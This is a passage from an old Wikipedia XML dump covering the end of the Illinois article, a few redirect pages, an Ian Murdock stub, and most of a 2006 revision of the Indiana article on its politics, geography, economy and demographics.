*[[Makataimeshekiakiak]], or &quot;Black Hawk&quot;, the [[Sac]] chief who defended Illinois natives against European incursion in the [[Black Hawk War]]
*[[John Malkovich]], actor, producer, and director; born in [[Christopher, Illinois]], attended [[Illinois State University]]
*[[Bill Murray]], influential member of [[The Second City]]; born and raised in Chicago
*[[Dick Durbin]], the state's senior senator and [[United States Senate Minority Whip]]
*[[Barack Obama]], the state's junior member in the [[United States Senate]]
*[[Richard Pryor]], pioneering comedian; born and raised in a [[brothel]] in [[Peoria, Illinois]]
*[[Ronald Reagan]], the 40th President; born in [[Tampico, Illinois]]
*[[Jennifer Rhodes]], theatre, television and movie actress; most notibly for her role as [[Penelope Halliwell]] on the series ''[[Charmed]]''
*[[Shel Silverstein]], famous children's author; born and raised in Chicago
*[[Adlai Stevenson II]], governor, 1952 and 1956 Presidential candidate; buried in [[Bloomington, Illinois]]
*[[Oprah Winfrey]], talk show host, richest African American woman, director of Harpo; maintains a residence on Lake Michigan in the [[Streeterville]] section of [[Chicago, Illinois]]

==Rogues gallery==
*[[William Stratton]], Governor, charged with tax evasion, acquitted
*[[Orville Hodge]], State Auditor, imprisoned for embezzlement
*[[Otto Kerner, Jr.]], Governor, federal judge, imprisoned for bribery.
*[[Paul Powell]], Secretary of State, died with shoeboxes full of money (but never indicted)
*[[Daniel Walker]], Governor, imprisoned for financial fraud
*[[Dan Rostenkowski]], U.S. Congressman, imprisoned for mail fraud
*[[George Ryan]], Secretary of State, Governor, on trial (2005) for corruption

== State symbols ==
[[Image:Cardinal.jpg|thumb|300px|The Cardinal is the state bird of Illinois]]
*[[State animal]]: [[White-tailed deer]] (''Odocoileus virginianus'')
*[[State amphibian]]: [[Tiger Salamander|Eastern Tiger Salamander]] (''Ambystoma tigrinum tigrinum'')
*[[List of U.S. state birds|State bird]]: [[Northern Cardinal|Cardinal]] (''Cardinalis cardinalis'')
*[[List of U.S. state capitals|State capital]]: [[Springfield, Illinois|Springfield]]
*[[State dance]]: [[Square dance]]
*[[State fish]]: [[Bluegill]] (''Lepomis macrochirus'')
*[[State flower]]: Purple [[violet (plant)|violet]] (''Viola sororia'')
*[[State fossil]]: [[Tully Monster]] (''Tullimonstrum gregarium'')
*[[State insect]]: [[Monarch butterfly]]
*[[State mineral]]: [[Fluorite]]
*[[List of U.S. state mottos|State motto]]: &quot;State sovereignty, national union&quot;
*[[State grass|State prairie grass]]: Big Bluestem (''Andropogon gerardii'')
*[[State reptile]]: [[Painted Turtle]] (''Chrysemys picta'')
*[[State slogan]]: &quot;Land of Lincoln&quot;
*[[State snack]]: [[Popcorn]]
*[[State soil]]: [[Drummer Silty Clay Loam]]
*[[State song]]: &quot;[[Illinois (state song)|Illinois]]&quot;
*[[State tree]]: [[White oak]] (''Quercus alba'')

== See also ==
*[[Little Egypt (region)|Little Egypt]]
*[[Fort Sheridan, Illinois]]
*[[List of ZIP Codes in Illinois]]
*[[U.S. presidential election, 2004, in Illinois]]
*[[Illinois State Parks]]
*[[Popcorn]]
*[[Chicago]]

== References ==
* Biles, Roger. ''Illinois: A History Of The Land And Its People'' (2005).
* Cole, Arthur Charles. ''The Era of the Civil War, 1848-1870'' (1919)
* Davis, James E. ''Frontier Illinois'' (1998).
*Gove, Samuel K. and James D. Nowlan. ''Illinois Politics &amp; Government: The Expanding Metropolitan Frontier'' (1996). Government text with guide to further sources.
* Hallwas, John E. ed., ''Illinois Literature: The Nineteenth Century'' (1986)
* Horsley, A. Doyne. ''Illinois: A Geography'' (1986)
* Howard, Robert P. ''Illinois: A History of the Prairie State'' (1972). 
* Jensen, Richard. ''Illinois: A History'' (2001). Uses a traditional-modern-postmodern model.
* Keiser, John H. ''Building for the Centuries: Illinois 1865-1898'' (1977)
* Meyer, Douglas K. ''Making the Heartland Quilt: A Geographical History of Settlement and Migration in Early-Nineteenth-Century Illinois'' (2000)
*Kleppner, Paul. Political Atlas of Illinois (1988).  Maps for 1980s.
* Pease, Theodore Calvin. ''The Frontier State, 1818-1848'' (1918). Volume II of a series published by the Illinois Centennial Commission
* [http://history.alliancelibrarysystem.com/IllinoisAlive/files/bp/htm7/bp000182.cfm Peck, J. M. A Gazetteer of Illinois (1837)].
* Sutton, Robert P. ed. ''The Prairie State: A Documentary History of Illinois'' (1977).
* WPA. ''Illinois: A Descriptive and Historical Guide'' (1939).  One of the most famous surveys--covers every town and city and much more.

== External links ==
{{sisterlinks|Illinois}}
* [http://www.encyclopedia.chicagohistory.org/ ''Encyclopedia of Chicago'' (2005)]
*[http://www.illinois.gov State of Illinois Web Site]
:*[http://www.illinois.gov/facts/symbols.cfm Illinois State Symbols]
*[http://www.ecanned.com/indsum/level1/IL/index.html Illinois Employment] - State and County Data
*[http://quickfacts.census.gov/qfd/states/17000.html U.S. Census Bureau]


{{Illinois}}
{{United_States}}

[[Category:Illinois|*]]
[[Category:States of the United States]]
[[Category:1818 establishments]]
[[ang:Illinois]]
[[ar:إلينوي]]
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[[zh:伊利诺州]]</text>
    </revision>
  </page>
  <page>
    <title>Imaginary numbers</title>
    <id>14850</id>
    <revision>
      <id>15912381</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Imaginary number]]


</text>
    </revision>
  </page>
  <page>
    <title>Ian Murdock</title>
    <id>14851</id>
    <revision>
      <id>41918076</id>
      <timestamp>2006-03-02T16:40:24Z</timestamp>
      <contributor>
        <ip>195.144.77.46</ip>
      </contributor>
      <comment>Add succession box</comment>
      <text xml:space="preserve">'''Ian Murdock''' is the founder of the [[Debian]] project and the commercial [[Progeny Debian]] distribution.

He wrote the [[Debian Manifesto]] in [[1993]] while a student at [[Purdue University]], where he earned his [[bachelor's degree]].

He named Debian after himself and his (then) girlfriend (now wife) ''Deb''ra. He also founded the company [[Progeny Linux Systems]].

{{compu-bio-stub}}

{{start box}}
{{succession box|title=[[Debian Project Leader]]|years=August&amp;nbsp;1993 &amp;ndash; March&amp;nbsp;1996|before=Founder of the Debian project|after=[[Bruce Perens]]}}
{{end box}}

== External links ==
*[http://ianmurdock.com/ ianmurdock.com]
*[http://www.linuxjournal.com/article/2841 LinuxJournal article on Debian from 1994]
*[http://www.progeny.com/ Progeny]

[[Category:Debian]]

[[de:Ian Murdock]]
[[es:Ian Murdock]]
[[fr:Ian Murdock]]
[[it:Ian Murdock]]
[[pl:Ian Murdock]]
[[pt:Ian Murdock]]
[[tr:Ian Murdock]]</text>
    </revision>
  </page>
  <page>
    <title>Idol worship</title>
    <id>14852</id>
    <revision>
      <id>15912383</id>
      <timestamp>2003-03-05T23:08:38Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Idolatry]]</text>
    </revision>
  </page>
  <page>
    <title>Indiana</title>
    <id>14853</id>
    <revision>
      <id>41954389</id>
      <timestamp>2006-03-02T21:29:42Z</timestamp>
      <contributor>
        <ip>68.72.59.219</ip>
      </contributor>
      <comment>/* Miscellaneous information */</comment>
      <text xml:space="preserve">{{US state |
  Name            = Indiana |
  Fullname        = State of Indiana |
  Flag            = Indiana state flag.png |
  Flaglink        = [[Flag of Indiana]] |
  Seal            = Indiana state seal.png |
  Map             = Map of USA highlighting Indiana.png |
  Nickname        = The [[Hoosier]] State |
  Motto           = State sovereignty, national union |
  Capital         = [[Indianapolis, Indiana|Indianapolis]] |
  LargestCity     = [[Indianapolis, Indiana|Indianapolis]] |
  Governor        = [[Mitch Daniels]] (R)|
  Senators        = [[Richard Lugar]] (R)
[[Evan Bayh]] (D) |
  PostalAbbreviation = IN |
  OfficialLang    = [[English language|English]] |
  AreaRank        = 38&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 94,321 |
  LandArea        = 92,897 |
  WaterArea       = 1,424 |
  PCWater         = 1.5 |
  PopRank         = 14&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 6,080,485 |
  DensityRank     = 16&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 65.46 |
  AdmittanceOrder = 19&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[December 11]], [[1816]] |
  TimeZone        = [[Eastern Standard Time Zone|Eastern]]: [[Coordinated Universal Time|UTC]]-5/[[Daylight Saving Time|-4]]&lt;/small&gt;&lt;br/&gt;[[Central Standard Time Zone|Central]]: UTC-6/[[Daylight saving time|-5]] &lt;small&gt;(extreme northwest and southwest)&lt;/small&gt; |
  Latitude        = 37°47'N to 41°46'N |
  Longitude       = 84°49'W to 88°4'W |
  Width           = 225 |
  Length          = 435 |
  HighestElev     = 383 |
  MeanElev        = 210 |
  LowestElev      = 98 |
  ISOCode         = US-IN |
  Website         = www.in.gov |
}}

:''This article is about the U.S. state.  See also [[Indiana, Pennsylvania]] (U.S.) and [[Indiana, São Paulo]] ([[Brazil]].)''

'''Indiana''', meaning the '''&quot;Land of the [[Native Americans in the United States|Indians]],&quot;''' is a [[U.S. state|state]] of the [[United States of America]].  Its [[capital]] is [[Indianapolis, Indiana|Indianapolis]]. The U.S. postal abbreviation for the state is '''IN'''.

A [[Residency|resident]] of Indiana is called a [[Hoosier]] (which is also the name used for a student of [[Indiana University Bloomington|Indiana University]], [[Bloomington, Indiana|Bloomington]]).

The [[USS Indiana|USS ''Indiana'']] was named in honor of this state.

== History ==

The area of Indiana has been settled since before the development of the [[Hopewell culture]] (ca. [[100]]&amp;ndash;[[400]] CE).  It was part of the [[Mississippian culture]] from roughly [[1000]]CE up to the conventional end of Mississippian dating (&quot;contact with [[European]]s&quot;).  The specific [[Native Americans in the United States|Native American]] [[tribe]]s that inhabited this territory at that time were primarily the [[Miami tribe|Miami]] and the [[Shawnee (tribe)|Shawnee]].  The area was claimed for [[New France]] in the [[17th century]], handed over to the [[Kingdom of Great Britain]] as part of the settlement at the end of the [[French and Indian War]], given to the [[United States]] after the [[American Revolution]], soon after which it became part of the [[Northwest Territory]], then the [[Indiana Territory]], and joined the Union in [[1816]] as the 19th state.

== Law and government == 
[[Image:wiki_indiana.jpg|thumb|left|350px|Greetings from Indiana]]
{{further|[[List of Indiana Governors]], [[Indiana General Assembly]], and [[Indiana Supreme Court]]}}

The current [[governor]] of Indiana is [[Mitch Daniels]], whose campaign slogan was &quot;My Man Mitch,&quot; an appellation given by [[President George W. Bush]] for whom Mitch Daniels was the director of the office of Management and Budget.  He was elected to office on [[November 2]], [[2004]]. 

However, Governor Daniels' plans to [[privatize]] the [[Indiana Toll Road]] to an Australian/Spanish consortium have met with resistance, especially in northern Indiana, the route of the Toll Road.  His trips to that part of Indiana to explain his plan have met with thinly-disguised hostility from local residents.

His first official act upon taking up the governorship was to end [[collective bargaining]] for Indiana state employees, which is largely in line with [[Republican]] [[union busting]], pro-employer/management doctrine.

These acts have not been universally embraced by Hoosiers, even in this overwhelmingly Republican-controlled state.  &quot;Ditch Mitch&quot; bumper stickers have started appearing throughout the state.

The state's U.S. senators are [[Evan Bayh|B. Evans &quot;Evan&quot; Bayh III]] ([[Democratic Party (United States)|Democrat]]) and [[Dick Lugar|Richard G. Lugar]] ([[Republican Party (United States)|Republican]]).

Indiana is considered by many to be one of the most conservative states outside the Deep South. Since it supported [[Lyndon B. Johnson]] over [[Barry Goldwater]] in [[1964]], Indiana has not backed a single Democratic presidential candidate. Indiana's polls are the first to close on Election Day, and almost invariably is the first state in the Republican column.

During Presidential campaigns, little attention is paid to Indiana by either Republican or Democrat candidates, though for different reasons.  Republicans have generally reliable assurance that Indiana is &quot;theirs&quot; anyway, while Democrats do not appear to want to make the effort to win votes here because of all-but-assured Republican dominance.

During a 2005 speaking engagement, former President [[Bill Clinton]] half-jokingly thanked supporters for &quot;allowing&quot; him into such a &quot;[[red state]]&quot;.

However, half of Indiana's governors in the 20th century were Democrats, though their policies were considerably more right-of-center than Democrats in other parts of the country. 

Former Governor and current U.S. Senator [[Evan Bayh]] is an all-but-announced candidate for the Democratic presidential nomination in 2008. His middle-of-the-road record and attention to constituencies have been well-received by Indiana voters.  His father was a three-term Senator with a liberal record who was turned out of office in the 1980 &quot;[[Reagan Revolution]]&quot; by conservative Republican (and future [[Vice-President]]) [[Dan Quayle]], a native of the small town of [[Huntington, Indiana|Huntington]] in the northeastern part of the state.  Until the election of former Governor Evan Bayh to the U.S. Senate, Indiana had an all-Republican Senatorial delegation, composed of the strongly conservative [[Dan Coats]] (later appointed Ambassador to Germany) and the relatively moderate [[Richard Lugar]], who is widely respected in both parties for his experience in world affairs. Indiana is nonetheless well-known for its conservatism and loyalty to the Republican Party, especially outside metropolitan areas.

Hoosier conservatism is generally not radical or reactionary, but is traditionalist--rooted in a strong resistance to change, either towards &quot;left&quot; or &quot;right&quot;, though more Hoosiers identify themselves as &quot;conservative&quot;, and [[right-wing]] [[talk radio]] programming such as [[Rush Limbaugh]] is widely listened to (the first &quot;Rush Room&quot; in the United States was formed in Mishawaka).  [[Gun control]], [[unions]], [[gay marriage]] (as of 2006, Indiana is attempting to amend the State Constitution to outlaw gay marriage), [[taxes]] or workers' rights issues (Indiana is a staunchly pro-management, [[at-will]] employment state) are not popular issues among many Hoosiers, which can explain their attachment to the GOP. However, attempts by political pressure groups or even individual state legislators at making the state &quot;more conservative&quot; have met with little success.

== Geography ==
[[Image:National-atlas-indiana.PNG|thumb|left|250px|Map of Indiana]]
{{see also|List of Indiana counties|List of Indiana rivers|Watersheds of Indiana}}

Indiana is bounded on the north by [[Lake Michigan]] and the state of [[Michigan]], on the east by [[Ohio]], on the south by [[Kentucky]] with which it shares the [[Ohio River]] as a border, and on the west by [[Illinois]].  Indiana is one of the Great Lakes states.

The 475 mile long [[Wabash River]] bisects the state from northeast to southwest and has given Indiana two theme songs, the state song ''On the Banks of the Wabash'' as well as ''The Wabash Cannonball''. The White River (a tributary of the Wabash, which is a tributary of the Ohio) zigzags through central Indiana. Indianapolis and Muncie are large cities on this river. [[Evansville]], the third largest city in Indiana, is located on the Ohio River, which forms all of the Indiana-Kentucky border. 

Northern Indiana is mostly farmland; however, the northwest corner of the state is part of the greater metropolitan area of [[Chicago, Illinois|Chicago]] and is therefore more densely populated.  [[Gary, Indiana|Gary]], a city on Lake Michigan, is effectively a suburb of Chicago, even though it is in Indiana.  

[[South Bend]], [[Mishawaka]], [[Elkhart]] and [[Goshen]] have effectively become a single metropolitan area over the past 20 years (spanning two counties).

It is sometimes said that culturally Indiana is demarcated by [[US Highway 30]], which runs on a southeast-northwest axis from [[Fort Wayne]] through [[Merrillville]] into Illinois.  Those living north of US 30 are often closer in attitude to [[Chicago]] and [[Detroit]], and some feel a disconnection from the rest of the state.  South of US 30 tends to have the more stereotypical Hoosier rural, conservative attitudes, though this of course is in question in the larger cities like [[Indianapolis]], [[Lafayette]] and [[Evansville]].  [[Bloomington]] tends to be much more culturally liberal than the rest of the state.

The [[Kankakee River]], which winds through northern Indiana, serves somewhat as a demarcating line between rural and suburban northwest Indiana.

Southern Indiana is a mixture of farmland and forest.  The [[Hoosier_National_Forest|Hoosier National Forest]] is a 200,000 acre nature preserve near Bedford. Southern Indiana generally contains more hills and geographic variation than the northern portion.

== Economy ==
[[Image:North-manchester-indiana.jpg|thumb|right|250px|Most of northern Indiana is very flat farmland dotted with small towns, such as [[North Manchester, Indiana|North Manchester]].]]

The total gross state product in 2003 was $214 billion. Indiana's per capita income, as of 2003, was $28,783. 

Indiana is located well within the [[Corn Belt]], and the state's agricultural methods and principal farm outputs reflect this: a feedlot-style system raising corn, to fatten hogs and cattle. [[Soybeans]] are also a major cash crop. The state's nearness to large urban centers, such as [[Chicago, Illinois]], also assures that much dairying, egg production, and specialty horticulture occur. Specialty crops include melons (southern Wabash Valley), tomatoes (concentrated in central Indiana), grapes, and mint (Source: USDA crop profiles).  In addition, Indiana is a significant producer of [[tobacco]].  It should be remembered that most of the original land was not prairie and had to be cleared of deciduous trees. Many isolated parcels of woodland remain, and much of the southern, hilly portion is heavily forested (a condition which supports a local furniture-making sector in that part of the state).

A high percentage of Indiana's GDP comes from manufacturing. The Calumet region of northwest Indiana is the largest [[steel]] producing area in the USA, and this activity also requires that very large amounts of electric power be generated. Indiana's other manufactures include automobiles, electrical equipment, transportation equipment, chemical products, rubber, [[petroleum]] and [[coal]] products, and factory machinery. In addition, Indiana has the international headquarters of pharmaceutical company [[Eli Lilly and Company|Eli Lilly]] as well as the headquarters of Mead Johnson Nutritionals, a division of [[Bristol-Myers Squibb]].  [[Elkhart, Indiana|Elkhart]], in the north, has also had a strong economic base of pharmaceuticals, though this has changed over the past decade with the closure of Whitehall Laboratories in the 1990s and the planned drawdown of the large [[Bayer]] complex, announced in late 2005.

[[Image:Canalbridge300.jpg|thumb|left|Indianapolis from the Central Canal]]
Despite its reliance on manufacturing, Indiana has been much less affected by declines in traditional [[Rust Belt]] manufactures than many of its neighbors. The explanation appears to be certain factors in the labor market. First, much of the heavy manufacturing, such as industrial machinery and steel, requires highly skilled labor, and firms are often willing to locate where hard-to-train skills already exist. Second, Indiana's labor force is located primarily in medium-sized and smaller cities rather than in very large and expensive metropolises. This makes it possible for firms to offer, and labor accept, somewhat lower wages for these skills than would normally be paid. In other words, firms often see in Indiana a chance to obtain higher than average skills at lower than average wages for those skills, which often makes location in the state desirable. (Source for basic manufacturing facts in the above two paragraphs is generally McCoy and McNamara, &quot;Manufacturers in Indiana,&quot; Purdue University Center for Rural Development, Research Paper 19, July 1998.) 
 
In mining Indiana is probably best known for its decorative [[limestone]] from the southern, hilly portion of the state, especially from around Bedford (the home area of Apollo I astronaut Gus Grissom). One of the many public buildings faced with this stone is [[The Pentagon]], and after the attack of [[September 11]], [[2001]], a special effort was made by the mining industry of Indiana to replace those damaged walls with as nearly identical type and cut of material as the original facing. There are also large [[coal]] mines in the southern portion of the state. Like most Great Lakes states, Indiana has small to medium operating [[petroleum]] fields; the principal location of these today is in the extreme southwest, though operational oil derricks can be seen on the outskirts of Terre Haute.

Indiana's economy is considered to be one of the most business-friendly in the U.S. This is due in part to its conservative business climate, low business taxes, and many labor laws that have remained unchanged since the 1800s, emphasizing the supremacy of employer/management. The doctrine of [[at-will]] employment, whereby an employer can terminate an employee for any or no reason, is firmly ensconced in Indiana. Unions in Indiana are among the weakest in the U.S. and it is difficult for unions to organize. It has been said that Indiana is a post-industrial state with a pre-[[Industrial Revolution]] mindset regarding the rights of workers. With isolated exceptions in university areas such as [[Bloomington, Indiana|Bloomington]] and [[Lafayette]], technology has been slow to catch on in Indiana, in part due to Hoosiers' traditional resistance to change. Most political leaders at the state level continue to emphasize the state's past economic base of manufacturing and farming.

== Military installations ==
Indiana was formerly home to two major military installations, [[Grissom Air Force Base]] near Peru (reduced to reservist operations in 1994) and [[Fort Benjamin Harrison]] near Indianapolis, now largely reduced to reservist operations, though the [[Department of Defense]] continues to operate a large financial operation there.

Current active installations include [[Air National Guard]] fighter units at [[Fort Wayne, Indiana|Fort Wayne]] and [[Terre Haute]] airports (to be consolidated at Fort Wayne under the 2005 BRAC proposal, with the Terre Haute facility remaining open as a non-flying installation), the [[Crane Naval Weapons Center]] in the southwest of the state and the Army's [[Newport Chemical Depot]], which is currently heavily involved in neutralizing dangerous chemical weapons stored there.

== Demographics ==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1800 || align=&quot;right&quot;| 2,632
|-
| align=&quot;center&quot;| 1810 || align=&quot;right&quot;| 24,520
|-
| align=&quot;center&quot;| 1820 || align=&quot;right&quot;| 147,178
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 343,031
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 685,866
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 988,416
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 1,350,428
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 1,680,637
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 1,978,301
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 2,192,404
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 2,516,462
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 2,700,876
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 2,930,390
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 3,238,503
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 3,427,796
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 3,934,224
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 4,662,498
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 5,193,669
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 5,490,224
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 5,544,159
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 6,080,485
|}

As of 2005, Indiana has an estimated population of 6,271,973, which is an increase of 45,436, or 0.7%, from the prior year and an increase of 191,456, or 3.1%, since the year 2000.  This includes a natural increase since the last census of 159,488 people (that is 451,681 births minus 292,193 deaths) and an increase due to net migration of 38,656 people into the state.  Immigration from outside the United States resulted in a net increase of 55,656 people, and migration within the country produced a net loss of 17,000 people.

As of 2004, the population included about 229,000 foreign-born (3.7%).

Racially, the state is:
*85.8% [[Whites|White]]
*8.4% [[Blacks|Black]]
*3.5% [[Hispanics|Hispanic]]
*1% [[Asian American|Asian]]
*0.3% [[Indigenous peoples of the Americas|Native American]]
*1.2% [[Mixed race]]

The five largest ancestries in the state are: [[German-American|German]] (22.7%), American (12%), [[Ireland|Irish]] (10.8%), [[British-American|English]] (8.9%), [[African American]] (8.4%).

German is the largest ancestry reported in Indiana, with almost one-in-four whites reporting German ancestry in the Census. Persons of American and British ancestry are also present throughout the state, especially in the southern and central parts of the state. [[Gary, Indiana|Gary]] and the surrounding Chicago suburbs, along with the city of Indianapolis, have large black populations. 

[[South Bend, Indiana|South Bend]] has a large [[Poland|Polish]] population and there are a sizeable number of people with [[Belgian]] ancestry in Mishawaka. [[Dyngus Day]], the Polish celebration of the end of Lent, takes place on the Monday after Easter and is widely celebrated in South Bend.

A large Hispanic/Latino population has swelled in Elkhart County, particularly the north side of the city of [[Goshen]]. This formerly German- and Dutch-dominated area now has a high concentration of Hispanic (particularly Mexican)-oriented businesses and many official signs in the area are bilingual.

Population growth since 1990 has been concentrated in the counties surrounding Indianapolis, with four of the top five fastest-growing counties in that area: [[Hamilton County, Indiana|Hamilton]], [[Hendricks County, Indiana|Hendricks]], [[Johnson County, Indiana|Johnson]], and [[Hancock County, Indiana|Hancock]]. The other county is [[Dearborn County, Indiana|Dearborn County]], which is near [[Cincinnati]]. Meanwhile, population decline has primarily been in a series of counties that geographically form a line between [[Logansport, Indiana|Logansport]] and [[Richmond, Indiana|Richmond]]. Most of these counties were at the heart of the [[Gas Belt]]. There were also three counties along the [[Wabash River]] and the [[Ohio River]] that experienced decline, these were [[Vigo County, Indiana|Vigo]], [[Knox County, Indiana|Knox]], and [[Perry County, Indiana|Perry]].

===Religion===
Religiously, Indiana is predominantly [[Protestant]], although there is also a significant [[Roman Catholic]] population. The Catholic presence is perhaps better known than its size would imply due to the existence of the [[University of Notre Dame]]. Indiana is home to a sizeable and influential proportion of [[Mennonite]] and [[Amish]] Christians, particularly in Elkhart and LaGrange Counties in the north, and a smaller number in Parke County in the west.  The state has the nation's largest population of members of the Protestant &quot;Churches of Christ&quot; denomination.

[[Roman Catholic]] and [[mainline Protestant]] churches are strong in the cities, but in rural areas [[evangelical]] and [[fundamentalist]] churches, such as independent Baptist and Pentecostal churches, tend to dominate.  Two conservative denominations, the [[Free Methodist Church]] and the [[Wesleyan Church]], have their headquarters in Indianapolis.

The [[Islamic Society of North America]] is headquartered just off [[Interstate 70]] in [[Plainfield]], west of Indianapolis.

There are significant numbers of [[Jews]] in urban areas, particularly Indianapolis, South Bend, Fort Wayne and Terre Haute.

The current religious affiliations of the people of Indiana are shown below:
 
*[[Christianity|Christian]] &amp;ndash; 82%
**[[Baptist]] &amp;ndash; 15%
**[[Protestantism|Protestant]] &amp;ndash; 62%
***[[Methodism|Methodist]] &amp;ndash; 10%
***[[Lutheranism|Lutheran]] &amp;ndash; 6%
***[[Church of Christ]] &amp;ndash; 5%
***[[Pentecostalism|Pentecostal]] &amp;ndash; 3%
***[[Mennonite]]/Pietist &amp;ndash; 1%
***Other Protestant &amp;ndash; 23%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 19%
**Other Christian &amp;ndash; 1%
*Other Religions &amp;ndash; 1%
*Non-Religious &amp;ndash; 17%

==Counties and townships==

*[[List of Indiana counties]] and their [[List of Indiana county name etymologies|etymologies]]
*[[List of townships in Indiana]]

== Important cities and towns ==

{|
|-
|valign=top|
===Population &gt; 1,000,000 (urbanized area)===
*[[Indianapolis, Indiana|Indianapolis]], capital city, near center of state
===Population &gt; 100,000 (urbanized area)===
*[[Fort Wayne, Indiana|Fort Wayne]], in the northeast
*[[Evansville, Indiana|Evansville]], in the southwest, on the Ohio River, home of [[University of Evansville]] and [[University of Southern Indiana]]
*[[South Bend, Indiana|South Bend]], near [[Michigan]] border, home of [[University of Notre Dame]]
*[[Gary, Indiana|Gary]], in the northwest, home of the [[Indiana Dunes National Lakeshore]]

===Population &gt; 10,000 (urbanized area)===
*[[Anderson, Indiana|Anderson]]
*[[Bloomington, Indiana|Bloomington]], home of [[Indiana University Bloomington|Indiana University]] (main campus)
*[[Muncie, Indiana|Muncie]], home of [[Ball State University]]
*[[Terre Haute, Indiana|Terre Haute]], home of [[Indiana State University]] and [[Rose-Hulman Institute of Technology]]
*[[Elkhart, Indiana|Elkhart]]
*[[Lafayette, Indiana|Lafayette]]
*[[West Lafayette, Indiana|West Lafayette]], home of the main campus of [[Purdue University]]
*[[Michigan City, Indiana|Michigan City]]
*[[Kokomo, Indiana|Kokomo]]
*[[Columbus, Indiana|Columbus]]
*[[Marion, Indiana|Marion]], birthplace of actor [[James Dean]] and cartoonist [[Jim Davis (cartoonist)|Jim Davis]].
*[[Richmond, Indiana|Richmond]]
*[[Perrysville, Indiana|Perrysville]]
*[[Warsaw, Indiana|Warsaw]]
*[[Logansport, Indiana|Logansport]]
*[[New Castle, Indiana|New Castle]]
*[[Vincennes, Indiana|Vincennes]]
*[[Auburn, Indiana|Auburn]], home of Auburn-Cord-Duesenberg Museum.
*[[Seymour, Indiana|Seymour]]
*[[Shelbyville, Indiana|Shelbyville]]
*[[Huntington, Indiana|Huntington]], home of [[Huntington University]]
*[[Frankfort, Indiana|Frankfort]]
*[[Connersville, Indiana|Connersville]]
*[[Crawfordsville, Indiana|Crawfordsville]]
*[[Greenfield, Indiana|Greenfield]]
*[[Peru, Indiana|Peru]]
*[[Bedford, Indiana|Bedford]]
*[[Lebanon, Indiana|Lebanon]]
*[[Madison, Indiana|Madison]]
*[[Jasper, Indiana|Jasper]]
*[[Lawrenceburg, Indiana|Lawrenceburg]]
*[[Martinsville, Indiana|Martinsville]]
*[[Washington, Indiana|Washington]]
*[[Plymouth, Indiana|Plymouth]]
*[[Wabash, Indiana|Wabash]]
*[[North Vernon, Indiana|North Vernon]]
*[[Scottsburg, Indiana|Scottsburg]]
*[[Angola, Indiana|Angola]]
*[[Elwood, Indiana|Elwood]]
*[[Kendallville, Indiana|Kendallville]]
*[[Greensburg, Indiana|Greensburg]]
*[[Decatur, Indiana|Decatur]]
*[[Valparaiso, Indiana|Valparaiso]], home of Valparaiso University
*[[Brazil, Indiana|Brazil]]
*[[Jeffersonville, Indiana|Jeffersonville]]

|valign=top|
|valign=top|

|valign=top|

===Important suburbs of [[Indianapolis]]===
*[[Avon, Indiana|Avon]]
*[[Beech Grove, Indiana|Beech Grove]]
*[[Brownsburg, Indiana|Brownsburg]]
*[[Carmel, Indiana|Carmel]]
*[[Fishers, Indiana|Fishers]]
*[[Franklin, Indiana|Franklin]]
*[[Greenwood, Indiana|Greenwood]]
*[[Lawrence, Indiana|Lawrence]]
*[[Noblesville, Indiana|Noblesville]]
*[[Plainfield, Indiana|Plainfield]]
*[[Southport, Indiana|Southport]]
*[[Speedway, Indiana|Speedway]], home of the [[Indianapolis Motor Speedway]]
*[[Zionsville, Indiana|Zionsville]]

===Important suburbs of [[Chicago]]===
*[[Crown Point, Indiana|Crown Point]]
*[[East Chicago, Indiana|East Chicago]]
*[[Gary, Indiana|Gary]]
*[[Griffith, Indiana|Griffith]]
*[[Hammond, Indiana|Hammond]]
*[[Highland, Lake County, Indiana|Highland, Lake County]]
*[[Hobart, Indiana|Hobart]]
*[[Merrillville, Indiana|Merrillville]]
*[[Munster, Indiana|Munster]]
*[[Portage, Indiana|Portage]]

===Important suburbs of [[Louisville]]===
*[[Clarksville, Indiana|Clarksville]]
*[[Jeffersonville, Indiana|Jeffersonville]]
*[[New Albany, Indiana|New Albany]], home of Supreme Court Justice Sherman Minton

===Important suburbs of [[Fort Wayne, Indiana|Fort Wayne]]===
*[[Huntertown, Indiana|Huntertown]]
*[[Leo-Cedarville, Indiana|Leo-Cedarville]]
*[[New Haven, Indiana|New Haven]]

===Important suburbs of [[Evansville, Indiana|Evansville]]===
*[[Henderson, Kentucky|Henderson]]
